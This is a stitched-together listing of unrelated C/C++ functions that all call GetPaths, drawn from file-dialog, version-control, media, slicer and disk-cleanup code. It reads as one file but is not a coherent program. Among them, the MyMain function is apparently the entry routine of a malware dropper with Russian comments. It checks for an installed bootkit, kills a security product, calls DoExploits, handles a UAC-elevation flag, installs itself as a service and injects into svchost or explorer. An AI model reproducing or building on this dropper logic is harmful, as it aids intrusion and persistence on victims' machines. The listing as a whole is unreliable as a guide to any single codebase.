void SlimItem::ScanPathSync() { DWORD dwAttributes; CAtlArray<CString> itemPaths; GetPaths(itemPaths); for (size_t i = 0; i < itemPaths.GetCount(); i++) { dwAttributes = ::GetFileAttributes(itemPaths[i]); if (INVALID_FILE_ATTRIBUTES == dwAttributes) continue; if (dwAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (!slimhelper::ScanDirectory(itemPaths[i], this)) break; } else { slimhelper::ScanFile(itemPaths[i], 0, INVALID_FILE_ATTRIBUTES, this); } } CheckEnable(); ::PostMessage(m_hNotifyWnd, SLIM_WM_ITEM_SCAN_END, 0, 0); }
BOOL SlimItem::CompressPaths() { DWORD dwAttributes; CAtlArray<CString> itemPaths; GetPaths(itemPaths); for (size_t i = 0; i < itemPaths.GetCount(); i++) { dwAttributes = ::GetFileAttributes(itemPaths[i]); if (INVALID_FILE_ATTRIBUTES == dwAttributes) continue; if (dwAttributes & FILE_ATTRIBUTE_COMPRESSED || dwAttributes & FILE_ATTRIBUTE_SPARSE_FILE) { continue; } if (dwAttributes & FILE_ATTRIBUTE_DIRECTORY) { slimhelper::CompressDirectory(itemPaths[i], this); } else { slimhelper::CompressFile(itemPaths[i], 0, dwAttributes, this); } } return TRUE; }
void wxGtkFileChooser::GetFilenames( wxArrayString& files ) const { GetPaths( files ); for ( size_t n = 0; n < files.GetCount(); ++n ) { const wxFileName file( files[n] ); files[n] = file.GetFullName(); } }
wxString wxFileDialog::GetPath() const { wxArrayString paths; GetPaths(paths); if (paths.size() == 0) return ""; return paths[0]; }
void FileDialog::GetFilenames(wxArrayString& files) const { GetPaths(files); for (size_t n = 0; n < files.GetCount(); ++n ) { wxFileName file(files[n]); files[n] = file.GetFullName(); } }
void CGitBlameLogList::GetParentHash(GitRevLoglist* pRev, int index, CGitHash& parentHash, std::vector<CString>& parentFilenames) { std::vector<CTGitPath> paths; GetPaths(pRev->m_CommitHash, paths); std::set<int> parentNos; GetParentNumbers(pRev, paths, parentNos); int parentNo = 0; { int i = 0; for (auto it = parentNos.cbegin(); it != parentNos.cend(); ++it, ++i) { if (i == index) { parentNo = *it; break; } } } parentHash = pRev->m_ParentHash[parentNo]; try { const CTGitPathList& files = pRev->GetFiles(nullptr); for (int j = 0, j_size = files.GetCount(); j < j_size; ++j) { const CTGitPath &file = files[j]; for (auto it = paths.cbegin(); it != paths.cend(); ++it) { const CTGitPath& path = *it; if (file.IsEquivalentTo(path)) { if (!(file.m_ParentNo & MERGE_MASK)) { int action = file.m_Action; // ignore (action & CTGitPath::LOGACTIONS_ADDED), as then there is nothing to blame/diff // ignore (action & CTGitPath::LOGACTIONS_DELETED), should never happen as the file must exist if (action & (CTGitPath::LOGACTIONS_MODIFIED | CTGitPath::LOGACTIONS_REPLACED)) { if (parentNo == (file.m_ParentNo & PARENT_MASK) && (size_t)parentNo < pRev->m_ParentHash.size()) parentFilenames.push_back( (action & CTGitPath::LOGACTIONS_REPLACED) ? file.GetGitOldPathString() : file.GetGitPathString()); } } } } } } catch (const char* msg) { MessageBox(_T("Could not get files of parents.\nlibgit reports:\n") + CString(msg), _T("TortoiseGit"), MB_ICONERROR); } }
void CGitBlameLogList::GetParentHashes(GitRevLoglist* pRev, GIT_REV_LIST& parentHash) { std::vector<CTGitPath> paths; GetPaths(pRev->m_CommitHash, paths); std::set<int> parentNos; GetParentNumbers(pRev, paths, parentNos); for (auto it = parentNos.cbegin(); it != parentNos.cend(); ++it) { int parentNo = *it; parentHash.push_back(pRev->m_ParentHash[parentNo]); } }
void wxFileDialog::GetFilenames(wxArrayString& files) const { if (!gtk_check_version(2,4,0)) { GetPaths(files); for (size_t n = 0; n < files.GetCount(); ++n ) { wxFileName file(files[n]); files[n] = file.GetFullName(); } } else wxGenericFileDialog::GetFilenames( files ); }
// Loads an stl file, projects it to the XY plane and calculates a polygon. void BedShapePanel::load_stl() { t_file_wild_card vec_FILE_WILDCARDS = get_file_wild_card(); std::vector<std::string> file_types = { "known", "stl", "obj", "amf", "3mf", "prusa" }; wxString MODEL_WILDCARD; for (auto file_type: file_types) MODEL_WILDCARD += vec_FILE_WILDCARDS.at(file_type) + "|"; auto dialog = new wxFileDialog(this, _(L("Choose a file to import bed shape from (STL/OBJ/AMF/3MF/PRUSA):")), "", "", MODEL_WILDCARD, wxFD_OPEN | wxFD_FILE_MUST_EXIST); if (dialog->ShowModal() != wxID_OK) { dialog->Destroy(); return; } wxArrayString input_file; dialog->GetPaths(input_file); dialog->Destroy(); std::string file_name = input_file[0].ToStdString(); Model model; try { model = Model::read_from_file(file_name); } catch (std::exception &e) { auto msg = _(L("Error! ")) + file_name + " : " + e.what() + "."; show_error(this, msg); exit(1); } auto mesh = model.mesh(); auto expolygons = mesh.horizontal_projection(); if (expolygons.size() == 0) { show_error(this, _(L("The selected file contains no geometry."))); return; } if (expolygons.size() > 1) { show_error(this, _(L("The selected file contains several disjoint areas. This is not supported."))); return; } auto polygon = expolygons[0].contour; std::vector<Pointf> points; for (auto pt : polygon.points) points.push_back(Pointf::new_unscale(pt)); m_canvas->m_bed_shape = points; update_preview(); }
//Selects a tile. void Level::SelectTile(unsigned int x, unsigned int y) { if(x < map.size() && y < map[0].size()) if(map[x][y]) { selectedTile = map[x][y]; if(selectedTile->GetDomOccupant()) { GetPaths(x, y, selectedTile->GetDomOccupant()->GetSpeed()); } } else { selectedTile = NULL; } }
void FileDialog::GetFilenames(wxArrayString& files) const { #if defined(__WXGTK24__) && (!defined(__WXGPE__)) if (!gtk_check_version(2,4,0)) { GetPaths(files); for (size_t n = 0; n < files.GetCount(); ++n ) { wxFileName file(files[n]); files[n] = file.GetFullName(); } } else #endif wxGenericFileDialog::GetFilenames( files ); }
void InitTest(const char* creationPath, const char* appendPath) { nsILocalFile* file = nsnull; nsresult rv = CallCreateInstance(NS_LOCAL_FILE_CONTRACTID, &file); if (NS_FAILED(rv) || (!file)) { printf("create nsILocalFile failed\n"); return; } nsCAutoString leafName; Banner("InitWithPath"); printf("creationPath == %s\nappendPath == %s\n", creationPath, appendPath); rv = file->InitWithNativePath(nsDependentCString(creationPath)); VerifyResult(rv); printf("Getting Filename\n"); rv = file->GetNativeLeafName(leafName); printf(" %s\n", leafName.get()); VerifyResult(rv); printf("Appending %s \n", appendPath); rv = file->AppendNative(nsDependentCString(appendPath)); VerifyResult(rv); printf("Getting Filename\n"); rv = file->GetNativeLeafName(leafName); printf(" %s\n", leafName.get()); VerifyResult(rv); GetPaths(file); printf("Check For Existence\n"); PRBool exists; file->Exists(&exists); if (exists) printf("Yup!\n"); else printf("no.\n"); }
void wxExGenericDirCtrl::OnCommand(wxCommandEvent& event) { wxArrayString files; GetPaths(files); if (event.GetId() > ID_EDIT_VCS_LOWEST && event.GetId() < ID_EDIT_VCS_HIGHEST) { wxExVCSExecute(m_Frame, event.GetId(), files); } else if (event.GetId() > ID_TOOL_LOWEST && event.GetId() < ID_TOOL_HIGHEST) { m_Frame->FindInFiles(files, event.GetId()); } else switch (event.GetId()) { case ID_TREE_COPY: { wxBusyCursor wait; wxString clipboard; for ( #ifdef wxExUSE_CPP0X auto it = files.begin(); #else wxArrayString::iterator it = files.begin(); #endif it != files.end(); ++it) { clipboard += *it + wxTextFile::GetEOL(); } wxExClipboardAdd(clipboard); } break; case ID_TREE_OPEN: wxExOpenFiles(m_Frame, files, 0, wxDIR_FILES); // only files in this dir break; case ID_TREE_RUN_MAKE: wxExMake(m_Frame, files[0]); break; default: wxFAIL; } }
bool CStackDirectory::GetDirectory(const CURL& url, CFileItemList& items) { items.Clear(); vector<std::string> files; const std::string pathToUrl(url.Get()); if (!GetPaths(pathToUrl, files)) return false; // error in path for (vector<std::string>::const_iterator i = files.begin(); i != files.end(); ++i) { CFileItemPtr item(new CFileItem(*i)); item->SetPath(*i); item->m_bIsFolder = false; items.Add(item); } return true; }
bool CStackDirectory::GetDirectory(const CStdString& strPath, CFileItemList& items) { items.Clear(); CStdStringArray files; if (!GetPaths(strPath, files)) return false; // error in path for (unsigned int i = 0; i < files.size(); i++) { CStdString file = files[i]; CFileItemPtr item(new CFileItem(file)); item->SetPath(file); item->m_bIsFolder = false; items.Add(item); } return true; }
// Loads an stl file, projects it to the XY plane and calculates a polygon. void BedShapePanel::load_stl() { auto dialog = new wxFileDialog(this, _(L("Choose a file to import bed shape from (STL/OBJ/AMF/3MF/PRUSA):")), "", "", file_wildcards(FT_MODEL), wxFD_OPEN | wxFD_FILE_MUST_EXIST); if (dialog->ShowModal() != wxID_OK) { dialog->Destroy(); return; } wxArrayString input_file; dialog->GetPaths(input_file); dialog->Destroy(); std::string file_name = input_file[0].ToUTF8().data(); Model model; try { model = Model::read_from_file(file_name); } catch (std::exception &e) { auto msg = _(L("Error! ")) + file_name + " : " + e.what() + "."; show_error(this, msg); exit(1); } auto mesh = model.mesh(); auto expolygons = mesh.horizontal_projection(); if (expolygons.size() == 0) { show_error(this, _(L("The selected file contains no geometry."))); return; } if (expolygons.size() > 1) { show_error(this, _(L("The selected file contains several disjoint areas. This is not supported."))); return; } auto polygon = expolygons[0].contour; std::vector<Vec2d> points; for (auto pt : polygon.points) points.push_back(unscale(pt)); m_canvas->m_bed_shape = points; update_preview(); }
void wxGenericDirCtrl::ShowHidden( bool show ) { if ( m_showHidden == show ) return; m_showHidden = show; if ( HasFlag(wxDIRCTRL_MULTIPLE) ) { wxArrayString paths; GetPaths(paths); ReCreateTree(); for ( unsigned n = 0; n < paths.size(); n++ ) { ExpandPath(paths[n]); } } else { wxString path = GetPath(); ReCreateTree(); SetPath(path); } }
void xhn::path_node::search(const char* path) { path_name = path; transform(path_name.begin(), path_name.end(), path_name.begin(), FCharFormat()); string search_path = path_name; #if defined(_WIN32) || defined(_WIN64) if (search_path.size() && search_path[search_path.size() - 1] != '\\') { search_path += '\\'; } #elif defined(__APPLE__) if (search_path.size() && search_path[search_path.size() - 1] != '/') { search_path += '/'; } #else # error #endif #if defined(_WIN32) || defined(_WIN64) string tmp = search_path + "*"; struct _finddata_t fd; long h = _findfirst(tmp.c_str(), &fd); int ret = 0; while (h != -1L && !ret) { if (strcmp(fd.name, L".") != 0 && strcmp(fd.name, L"..") != 0) { path_node_ptr child; #ifdef USE_SMART_PTR child = VNEW path_node; #else child = GC_ALLOC(path_node); #endif child->search((search_path + fd.name).c_str()); if (fd.attrib == 0x10) { child->is_folder = true; } child->next = children; children = child; } ret = _findnext(h, &fd); } _findclose(h); #elif defined(__APPLE__) vector<string> subFolders; vector<string> paths; GetPaths(search_path.c_str(), subFolders, paths); { vector<string>::iterator iter = subFolders.begin(); vector<string>::iterator end = subFolders.end(); for (; iter != end; iter++) { string& subFolder = *iter; path_node_ptr child; #ifdef USE_SMART_PTR child = VNEW path_node; #else child = GC_ALLOC(path_node); #endif child->search(subFolder.c_str()); child->is_folder = true; child->next = children; children = child; size += child->size; folder_count += child->folder_count; file_count += child->file_count; folder_count++; } } { vector<string>::iterator iter = paths.begin(); vector<string>::iterator end = paths.end(); for (; iter != end; iter++) { string& path = *iter; path_node_ptr child; #ifdef USE_SMART_PTR child = VNEW path_node; #else child = GC_ALLOC(path_node); #endif child->path_name = path; child->is_folder = false; child->next = children; children = child; size += file_manager::get()->file_size(child->path_name); file_count++; } } #else # error #endif }
void xhn::wpath_node::search(const wchar_t* path) { path_name = path; transform(path_name.begin(), path_name.end(), path_name.begin(), FWCharFormat()); wstring search_path = path_name; #if defined(_WIN32) || defined(_WIN64) if (search_path.size() && search_path[search_path.size() - 1] != L'\\') { search_path += L'\\'; } #elif defined(__APPLE__) if (search_path.size() && search_path[search_path.size() - 1] != L'/') { search_path += L'/'; } #else # error #endif #if defined(_WIN32) || defined(_WIN64) wstring tmp = search_path + L"*"; struct _wfinddata_t fd; long h = _wfindfirst(tmp.c_str(), &fd); int ret = 0; while (h != -1L && !ret) { if (StrCmpW(fd.name, L".") != 0 && StrCmpW(fd.name, L"..") != 0) { wpath_node_ptr child; #ifdef USE_SMART_PTR child = VNEW wpath_node; #else child = GC_ALLOC(wpath_node); #endif child->search((search_path + fd.name).c_str()); if (fd.attrib == 0x10) { child->is_folder = true; } child->next = children; children = child; } ret = _wfindnext(h, &fd); } _findclose(h); #elif defined(__APPLE__) Utf8 utf8(search_path.c_str()); vector<string> subFolders; vector<string> paths; GetPaths(((string)utf8).c_str(), subFolders, paths); { vector<string>::iterator iter = subFolders.begin(); vector<string>::iterator end = subFolders.end(); for (; iter != end; iter++) { string& subFolder = *iter; Unicode uc16(subFolder.c_str()); wpath_node_ptr child; #ifdef USE_SMART_PTR child = VNEW wpath_node; #else child = GC_ALLOC(wpath_node); #endif child->search(((wstring)uc16).c_str()); child->is_folder = true; child->next = children; children = child; } } { vector<string>::iterator iter = paths.begin(); vector<string>::iterator end = paths.end(); for (; iter != end; iter++) { string& path = *iter; Unicode uc16(path.c_str()); wpath_node_ptr child; #ifdef USE_SMART_PTR child = VNEW wpath_node; #else child = GC_ALLOC(wpath_node); #endif child->path_name = uc16; child->is_folder = false; child->next = children; children = child; } } #else # error #endif }
int APIENTRY MyMain(int argc, char** argv) { //return 0; //TestStepNotifications(); //MultiMethodReboot(); //return 0; //PP_DPRINTF(L"MyMain: started"); //if ( IsUserLocalSystem() ) //{ // PP_DPRINTF(L"MyMain: current user is LocalSystem."); // SvcFuckupRunAsService(SvcFuckupServiceMainTest); //} //else //{ // PP_DPRINTF(L"MyMain: current user is NOT LocalSystem."); // if ( m_strstr((PCHAR)pGetCommandLineA(),"-install") ) // { // PP_DPRINTF(L"MyMain: '-install' param specified. Run SvcFuckup."); // bool fuckup_result = SvcFuckupRun(); // PP_DPRINTF(L"MyMain: SvcFuckupRun() finished with result=%d.", fuckup_result); // } //} //PP_DPRINTF(L"MyMain: finished"); //return 0; UnhookDlls();//снимаем хуки GetPaths(); // 100_d запуск дропера PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("100_d")); /* проверка установлен ли буткит */ if ((DWORD)pGetFileAttributesA(PathBkFile) != INVALID_FILE_ATTRIBUTES) { PP_DPRINTF(L"MyMain: bootkit already installed. Killing oneself."); InitSuicide(); WaitAndExitProcess(0); return 0; }; KillOutpost(); DoExploits(); // 100_d запуск дропера PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("101_d")); // Проверка целевой платформы. if (!CurrentPlatformAllowedByTargetSpecifier()) { InitSuicide(); PP_DPRINTF(L"MyMain:Current platform not allowed by target specifier. Callin ExitProcess..."); WaitAndExitProcess(0); return 0; } // 109_d точка прохождения целевой платформы PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("109_d")); // Проверка на параметр запуска с правами UAC if ( m_strstr((PCHAR)pGetCommandLineA(),ARGV_UAC_RUN) ) { PP_DPRINTF(L"MyMain: UAC param detected. Calling ExplorerMain..."); int ret = -1; if ( ExplorerMain() ) { PP_DPRINTF(L"MyMain: UAC param detected. ExplorerMain OK. Quit and killing oneself..."); InitSuicide(); WaitAndExitProcess(0); return 0; } PP_DPRINTF(L"MyMain: UAC param detected. ExplorerMain failed. Just quit process."); WaitAndExitProcess(ret); return 0; }; // // Если процесс запущен с системными правами переходим к инсталяции. // if (IsUserLocalSystem()) { PP_DPRINTF(L"MyMain: LocalSystem current user detected. Runing SvcFuckupRunAsService()."); SvcFuckupRunAsService(SvcFuckupServiceMain); PP_DPRINTF(L"MyMain: SvcFuckupRunAsService() finished. Calling ExitProcess()."); WaitAndExitProcess(0); return 0; }; // Если процесс запущен обычно, но включена поддержка SvcFuckup // то пробуем это сделать и прибиваем себя. if (SvcFuckupEnabled()) { PP_DPRINTF(L"MyMain: SvcFuckup enabled. Run SvcFuckupRun"); bool fuckup_result = SvcFuckupRun(); PP_DPRINTF(L"MyMain: SvcFuckupRun() finished with %d", fuckup_result); InitSuicide(); WaitAndExitProcess(0); return 0; } PP_DPRINTF(L"MyMain: All checks passed. Trying to jump to svchost"); dwExplorerSelf = 0; if (!JmpToSvchost( ExplorerRoutine )) { PP_DPRINTF(L"MyMain: Jump to svchost failed. Trying jump to explorer"); dwExplorerSelf = 1; if (! InjectIntoExplorer ( ExplorerRoutine ) ) { PP_DPRINTF(L"MyMain: Jump to explorer failed. Trying just do ExplorerRoutine"); ExplorerRoutine( NULL ); } } PP_DPRINTF(L"MyMain: finished."); pExitProcess( 1 ); return 1; }
BOOL SlimItem::DeletePaths() { BOOL retval = FALSE; DWORD dwAttributes; CAtlArray<CString> itemPaths; BOOL bRetCode; GetPaths(itemPaths); for (size_t i = 0; i < itemPaths.GetCount(); i++) { if (m_bStopScanFlag) goto clean0; dwAttributes = ::GetFileAttributes(itemPaths[i]); if (INVALID_FILE_ATTRIBUTES == dwAttributes) continue; if (m_bUndoEnable) { if (!this->OnBeginProcessItem(itemPaths[i])) continue; BOOL bKeepRootDir = TRUE; if (m_nId == 10) // 系统升级补丁备份文件 { bKeepRootDir = FALSE; } bRetCode = slimhelper::RecyclePath(itemPaths[i], bKeepRootDir); this->OnEndProcessItem(itemPaths[i], 0); if (!bRetCode) goto clean0; } else { if (dwAttributes & FILE_ATTRIBUTE_DIRECTORY) { BOOL bKeepRootDir = TRUE; if (m_nId == 10) // 系统升级补丁备份文件 { bKeepRootDir = FALSE; } slimhelper::DeleteDirectory(itemPaths[i], this, bKeepRootDir); } else { slimhelper::DeleteFile(itemPaths[i], 0, INVALID_FILE_ATTRIBUTES, this); } } } if (m_bUndoEnable) { this->OnEndProcessItem(_T(""), m_qwSizeMaySave); } if (!m_bStopScanFlag) { m_qwSizeOnDisk = 0; m_qwSizeMaySave = 0; } retval = TRUE; clean0: return retval; }
void wxExGenericDirCtrl::OnTree(wxTreeEvent& event) { wxArrayString files; GetPaths(files); if (files.empty()) { event.Skip(); return; } if (event.GetEventType() == wxEVT_COMMAND_TREE_ITEM_MENU) { const wxExFileName filename(files[0]); wxExMenu menu; // uses AppendVCS if (filename.FileExists()) { menu.Append(ID_TREE_OPEN, _("&Open")); menu.AppendSeparator(); } menu.Append(ID_TREE_COPY, wxGetStockLabel(wxID_COPY), wxEmptyString, wxART_COPY); if (wxExVCS::DirExists(filename)) { menu.AppendSeparator(); menu.AppendVCS(filename); } if (filename.GetLexer().GetScintillaLexer() == "makefile") { menu.AppendSeparator(); menu.Append(ID_TREE_RUN_MAKE, "&Make"); } menu.AppendSeparator(); menu.Append(ID_TOOL_REPORT_FIND, wxExEllipsed(m_Frame->GetFindInCaption(ID_TOOL_REPORT_FIND))); menu.Append(ID_TOOL_REPORT_REPLACE, wxExEllipsed(m_Frame->GetFindInCaption(ID_TOOL_REPORT_REPLACE))); PopupMenu(&menu); } else if (event.GetEventType() == wxEVT_COMMAND_TREE_ITEM_ACTIVATED) { const wxFileName fn(files[0]); if (!fn.FileExists() && fn.DirExists()) { if (!GetTreeCtrl()->IsExpanded(event.GetItem())) { ExpandAndSelectPath(files[0]); } else { CollapsePath(files[0]); } } else { wxExOpenFiles(m_Frame, files, 0, wxDIR_FILES); // only files in this dir } } else if (event.GetEventType() == wxEVT_COMMAND_TREE_SEL_CHANGED) { wxExLogStatus(wxFileName(files[0]), STAT_FULLPATH); } else { wxFAIL; } }